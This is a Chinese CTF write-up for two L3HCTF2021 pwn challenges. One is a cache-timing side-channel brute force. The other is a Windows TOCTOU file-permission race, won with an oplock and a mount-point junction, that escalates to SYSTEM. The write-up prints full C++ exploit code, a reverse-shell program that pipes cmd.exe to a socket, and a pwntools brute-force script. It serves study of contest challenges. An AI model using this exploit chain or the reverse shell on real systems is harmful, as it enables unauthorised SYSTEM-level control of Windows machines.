L3HCTF2021

pwn wp

Posted by X1ng on November 17, 2021

打满48小时,肝痛,无手速和一调试就懵逼党第一次抢到了三血,最后的小失误错失pwn ak

slow-spn

程序从flag.txt中读取6个字符的key和4个字符的plaintext,然后8次通过s盒或p盒的变换后放进模拟的cache中

cache的逻辑是可以多次模拟访问s盒中的地址,如果cache命中了该地址则使用最近最久未使用算法计数,未命中则sleep(1)模拟读取内存的情况

由于有一次访问plaintext在s盒中的地址的机会,所以可以先通过去访问一个地址的方式将一个地址填入cache,然后访问plaintext,通过延时判断cache是否命中,进而猜测plaintext的地址是否为正在cache中的地址

实际操作的时候由于s盒比较大且建立连接速度较慢,所以直接将0x20个cache填满,爆破范围后再从0x20个数据里爆破真实的p

得到p=0x10a4同样的方法爆破上图中v9=0x4924、v7=0x78c、v5=0x9d44,得到

p=0x10a4
k>>8=0x754
k>>4=0x655e
k=0xace7

根据题目提示不用得到很准确的数字,所以将key进行拼接key=0x754e7,连接靶机后输入key和plaintext拿到flag

由于cache是通过5-10bit的line和10bit以上的tag来标记的,所以爆破得到的结果可能有偏差,根据题目提示不用得到很准确的数字,所以将key进行拼接key=0x754e7,连接靶机后输入key和plaintext拿到flag

exp:

def exp(times):
	local=1
	binary_name='slowspn'
	if local:
	    p=process("./"+binary_name)
	    e=ELF("./"+binary_name)
	else:
	    p=remote('124.71.173.176', 9999)
	    e=ELF("./"+binary_name)

	def z(a=''):
	    if local:
	        gdb.attach(p,a)
	        if a=='':
	            raw_input
	    else:
	        pass
	ru=lambda x:p.recvuntil(x)
	rc=lambda x:p.recv(x)
	sl=lambda x:p.sendline(x)
	sd=lambda x:p.send(x)
	sla=lambda a,b:p.sendlineafter(a,b)
	ia=lambda : p.interactive()
	
	def add(addr,sp):
	    ru("What to do?\n")
	    sl('1')
	    ru("Where?\n")
	    sl(str(addr))
	    sla('Speed up?',str(sp))
	
	def test_flag():
		sla('What to do?',str(2))
		
	def nex():
		sla('What to do?',str(3))
		
	def nofound():
	    sl(str(3))
	  
	for j in range(0x20):
		add(0x645110+j*4+times*4,1)
		print(hex(times+j)+': '+hex(ss_box[times+j]))
	
    #nex()
    
    #nex()
    
    #nex()
    
    #nex()
    
    #nex()
    
    #nex()
    
    #通过控制nex的个数调整爆破哪一个变量
    
    
	test_flag()
	time_start=time.time()
	
	ru('What to do?')
	time_end=time.time()
	print(time_end-time_start)
	if round(time_end-time_start) != 1:
		print('YES')
		ia()
	else :
		print('NO')
		for i in range(7):
			sl('2')
		p.close()
	
len_ss_box=65535
for i in range(0,len_ss_box,0x20):
	exp(i)

连接.py

from pwn import *
sh=remote("124.71.173.176","8888")
from pwnlib.util.iters import mbruteforce
from hashlib import sha256


def proof_of_work(sh):
    sh.recvuntil('x + "')
    suffix = sh.recvuntil('"').decode("utf8")[:-1]
    print(suffix)
    
    sh.recvuntil('== "')
    cipher = sh.recvuntil('"').decode("utf8")[:-1]
    print(cipher)
    proof = mbruteforce(lambda x: sha256((x + suffix).encode()).hexdigest()[:6] ==  cipher, string.ascii_letters + string.digits, length=4, method='fixed')
    sh.sendlineafter("Input x:\n", proof)

proof_of_work(sh)
sh.interactive()

vul_service

这题在比赛时写poc的时候在system32随便找了一个dll验证思路,但是权限修改总是失败,后来复现的时候才注意到即使是system权限也无法更改system32目录下的dll,但是出题人放进去的vul_service文件是system可写的,,爆肝30+小时从零入门Windows编程到Windows提权,最后没拿到flag有点可惜,但也确实学到了很多

题目给了一个win10虚拟机文件,其中设置了1分钟执行一次vul_service的定时任务,从system32中找到vul_service文件进行分析,其逻辑是遍历C:\Users\Public\tmp\目录及子目录下的文件,根据文件路径读取文件权限后再根据文件路径写回文件权限

漏洞在于读取权限和写入权限都是用文件路径进行操作,如果在读和写之间的时间窗口进行竞争,将文件路径所指的文件修改,也就是读权限和写权限的文件不相同,就可能发生错误的权限设置

并且在GetFileSecurityWSetFileSecurityW之间有一个对CreateFileW的调用,可以通过Windows机会锁锁住文件读写,在调用CreateFileW的时候触发机会锁,说明此时已经读取权限完毕,然后开始竞争,修改该文件路径指向的文件(图片注释有误,GetFileSecurityW函数才是获取权限的函数)

通过对Windows的硬链接或符号链接可以实现同一个文件路径指向不同的文件

在新版本的Windows上由于

  • 不再能通过硬链接将低权限文件链到高权限文件
  • 无管理员权限的用户无法在文件系统中创建文件符号链接

来源

任意文件移动导致的Windows提权攻击分析 —— (moonsec.com)

但是对于文件夹的符号链接则没有过多限制,所以可以采用两种思路达到竞争的时候将一个普通文件链接到vul_service的目的:

  1. 先在tmp目录下创建链到文件夹A的符号链接,在竞争的时候将tmp目录下的文件夹链接到设备管理器中的文件夹,再从设备管理器中的文件夹创建符号链接链到vul_service文件(设备管理器不在文件系统中,所以可以创建文件符号链接)

    则访问C:\Users\Public\tmp\A\abc就相当于访问C:\Windows\System32\vul_service.exe

  2. 在先在tmp目录下创建链到文件夹A的符号链接,在文件夹A中创建vul_service的同名文件,在竞争的时候将tmp目录下的文件夹链到C:\Windows\System32\

    则访问C:\Users\Public\tmp\A\vul_service.exe就相当于访问C:\Windows\System32\vul_service.exe

找到googleprojectzero的工具symboliclink-testing-tools ,在测试的时候只有CreateMountPoint.exe和SetOpLock.exe是还能正常使用的,在比赛的时候由于从设备管理器链接到vul_service的时候失败,不确定第一种方法是否已经和硬链接一样被修复(赛后请教出题人2st师傅,2st师傅表示第一种方法还可以使用,并且明显比第二种更灵活,抄抄改改James的代码即可,,2st yyds),所以用第二种方法实现漏洞利用

由于symboliclink-testing-tools的实现使用了很多自定义类型和依赖项,所以在CreateMountPoint项目中的CreateMountPoint.cpp基础上加入Oplock相关的代码编写exp

整体思路是:先将symlink链接到target,在target中创建vul_service同名文件,然后用Oplock锁上文件等待定时任务中的vul_service读取target中的vul_service同名文件权限,释放锁后进行竞争,将target链接到C:\Windows\System32\,竞争成功的话则写文件权限时会将C:\Windows\System32\vul_service.exe的权限修改为attack用户可写,之后将vul_service文件的内容改为反弹shell的exe文件,监听端口等待定时任务下一次以system权限启动反弹shell即可

CreateMountPoint.cpp:

#include "stdafx.h"

#include <shobjidl_core.h>

#include <CommonUtils.h>

#pragma comment (lib,"Ws2_32.lib")


#define NUM 5


void END(SOCKET& ListenSocket, SOCKET& ClientSocket)
{

	closesocket(ListenSocket);
	closesocket(ClientSocket);
	WSACleanup();
    
}

int get_shell()
{

	WSADATA wsaData;
	char buf[0x1000] = {
	0 };
	char getbuf[0x1000] = {
	0 };

	int iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
	if (iResult != 0) {
		printf("[-] ERROR code:%d\n", iResult);
		return 1;
	}

	SOCKET ListenSocket, ClientSocket;
	ListenSocket = socket(AF_INET, SOCK_STREAM, 0);

	sockaddr_in addr, addr2;
	addr.sin_family = AF_INET;
	addr.sin_port = htons(8888);
	addr.sin_addr.S_un.S_addr = INADDR_ANY;
	addr.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
	int addr2Len = sizeof(addr2);

	bind(ListenSocket, (sockaddr*)&addr, sizeof(addr));
	int ret = listen(ListenSocket, NUM);

	if (ret == 0) {
		printf("[+] Wating for connecting ...\n");
	}
	ClientSocket = accept(ListenSocket, (sockaddr*)&addr2, &addr2Len);

	if (ClientSocket != NULL)
	{
		memset(getbuf, 0, sizeof(getbuf));
		iResult = recv(ClientSocket, getbuf, sizeof(getbuf), 0);
		printf("%s", getbuf);
		memset(getbuf, 0, sizeof(getbuf));
		iResult = recv(ClientSocket, getbuf, sizeof(getbuf), 0);
		printf("%s", getbuf);
		memset(getbuf, 0, sizeof(getbuf));
		iResult = recv(ClientSocket, getbuf, sizeof(getbuf), 0);
		printf("%s", getbuf);

	}

	while (1)
	{

		memset(getbuf, 0, sizeof(buf));
		fgets(buf, 0x100, stdin);
		iResult = send(ClientSocket, buf, sizeof(buf), 0);
		if (iResult == SOCKET_ERROR)
		{

			printf("[-] send ERROR: %d", WSAGetLastError());
			END(ListenSocket, ClientSocket);
			return 1;

		}

		memset(getbuf, 0, sizeof(getbuf));
		iResult = recv(ClientSocket, getbuf, sizeof(getbuf), 0);
		iResult = recv(ClientSocket, getbuf, sizeof(getbuf), 0);
		if (iResult == SOCKET_ERROR)
		{

			printf("[-] recv ERROR: %d", WSAGetLastError());
			END(ListenSocket, ClientSocket);
			return 1;

		}
		printf("%s\n", getbuf);
		fflush(stdout);
		fflush(stderr);
        
	}
	return 0;
}


class FileOpLock
{
public:
	typedef void(*UserCallback)();

	static FileOpLock* CreateLock(const std::wstring& name, const std::wstring& share_mode, FileOpLock::UserCallback cb);
	void WaitForLock(UINT Timeout);

	~FileOpLock();
private:

	HANDLE g_hFile;
	OVERLAPPED g_o;
	REQUEST_OPLOCK_INPUT_BUFFER g_inputBuffer;
	REQUEST_OPLOCK_OUTPUT_BUFFER g_outputBuffer;
	HANDLE g_hLockCompleted;
	PTP_WAIT g_wait;
	UserCallback _cb;

	FileOpLock(UserCallback cb);

	static void CALLBACK WaitCallback(PTP_CALLBACK_INSTANCE Instance,
		PVOID Parameter, PTP_WAIT Wait,
		TP_WAIT_RESULT WaitResult);

	void DoWaitCallback();

	bool BeginLock(const std::wstring& name, DWORD dwShareMode, bool exclusive);

};

static FileOpLock* oplock = nullptr;


LPCWSTR lock;
LPCWSTR symlink;
LPCWSTR target;
LPCWSTR sys;
LPCWSTR shell;
LPCWSTR tmp;

void HandleOplock()
{
	DebugPrintf("OpLock triggered, hit ENTER to close oplock\n");
	getc(stdin);

	printf("[+] Change symlink\n");
	if (CreateDirectory(symlink, nullptr) || (GetLastError() == ERROR_ALREADY_EXISTS))
	{
		if (!ReparsePoint::CreateMountPoint(symlink, sys, L""))
		{
			printf("Error creating mount point - %d\n", GetLastError());
			exit(-1);
		}
	}
	else
	{
		printf("nofuck Error creating directory - %d\n", GetLastError());
	}
}


int _tmain(int argc, _TCHAR* argv[])
{
	symlink = argv[1];
	target = argv[2];
	lock = argv[3];
	shell = argv[4];
	sys = L"C:\\Windows\\System32";

	if (argc < 5)
	{
		printf("CreateMountPoint.exe symlink target lock shell\n");
		return 1;
	}

	
	
	CreateDirectory(target, 0);
	if (CreateDirectory(symlink, nullptr) || (GetLastError() == ERROR_ALREADY_EXISTS))
	{
		printf("[+] Create symlink\n");
		if (!ReparsePoint::CreateMountPoint(symlink, target, L""))
		{
			printf("Error creating mount point - %d\n", GetLastError());
			exit(-1);
		}

		printf("[+] Create fake vul_service.exe\n");
		HANDLE handle = CreateFile(lock, GENERIC_READ, 0, 0, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
		CloseHandle(handle);

		printf("[+] Lock\n");
		LPCWSTR share_mode = L"RW";
		oplock = FileOpLock::CreateLock(lock, share_mode, HandleOplock);
		if (oplock != nullptr)
		{
			oplock->WaitForLock(INFINITE);

			delete oplock;
		}
		else
		{
			printf("Error creating oplock\n");
			return 1;
		}

		printf("[+]load shell\n");
		Sleep(1000);

		HANDLE lock_handler = CreateFile(lock, GENERIC_WRITE, 0, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
		if (lock_handler == INVALID_HANDLE_VALUE)
		{
			printf("Error open lock, %d\n", GetLastError());
			return 1;
		}
		HANDLE shell_handler = CreateFile(shell, GENERIC_READ, 0, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
		if (shell_handler == INVALID_HANDLE_VALUE)
		{
			printf("Error open shell, %d\n", GetLastError());
			return 1;
		}

		DWORD szr = GetFileSize(shell_handler, 0);
		DWORD szw = szr;
		PTCHAR p = (PTCHAR)malloc(szr);

		ReadFile(shell_handler, p, szr, &szr, 0);
		WriteFile(lock_handler, p, szw, &szw, 0);

		CloseHandle(lock_handler);
		CloseHandle(shell_handler);
		
		printf("OK\n");
		get_shell();
		
		
	}
	else
	{
		printf("nofuck Error creating directory - %d\n", GetLastError());
	}

	return 0;
}



a.cpp:

#include <WinSock2.h>

#include <winsock.h>

#include <stdio.h>

#pragma comment(lib,"ws2_32.lib")

#pragma comment(lib,"ws2_32.lib")


int main(int argc, char* argv[])
{
    WSADATA wsd;
    WSAStartup(0x0202, &wsd);
    SOCKET socket = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
    SOCKADDR_IN sin;
    sin.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
    sin.sin_port = htons(8888);
    sin.sin_family = AF_INET;
    
    printf("conncting...");
    int ret = connect(socket, (sockaddr*)&sin, sizeof(sin));
    if(ret!=0)
    {
        printf("[-] Error connect : %d\n", WSAGetLastError());
        getc(stdin);
    }

    send(socket, "[+] Connected\n", strlen("[+] Connected\n"), 0);

    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    GetStartupInfo(&si);
    si.cb = sizeof(STARTUPINFO);
    si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)socket;
    si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
    si.wShowWindow = SW_HIDE;
    TCHAR cmdline[255] = L"cmd.exe";
    while (!CreateProcess(NULL, cmdline, NULL, NULL, TRUE, NULL, NULL, NULL, &si, &pi)) {
        Sleep(1000);
    }
    WaitForSingleObject(pi.hProcess, INFINITE);
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);

	return 0;
}

在编译时需要调整一些项目配置参数,反弹shell的io还有些问题,但是可以看到已经成功成为system权限

C:\Users\Attacker\Desktop\CreateMountPoint.exe C:\Users\Public\tmp\X1ng C:\Users\Public\tmp1 C:\Users\Public\tmp\X1ng\vul_service.exe C:\Users\Attacker\Desktop\a.exe

参考资料

一步步学写Windows下的Shellcode - 安全客,安全资讯平台 (anquanke.com)

googleprojectzero/symboliclink-testing-tools (github.com)

任意文件移动导致的Windows提权攻击分析 —— (moonsec.com)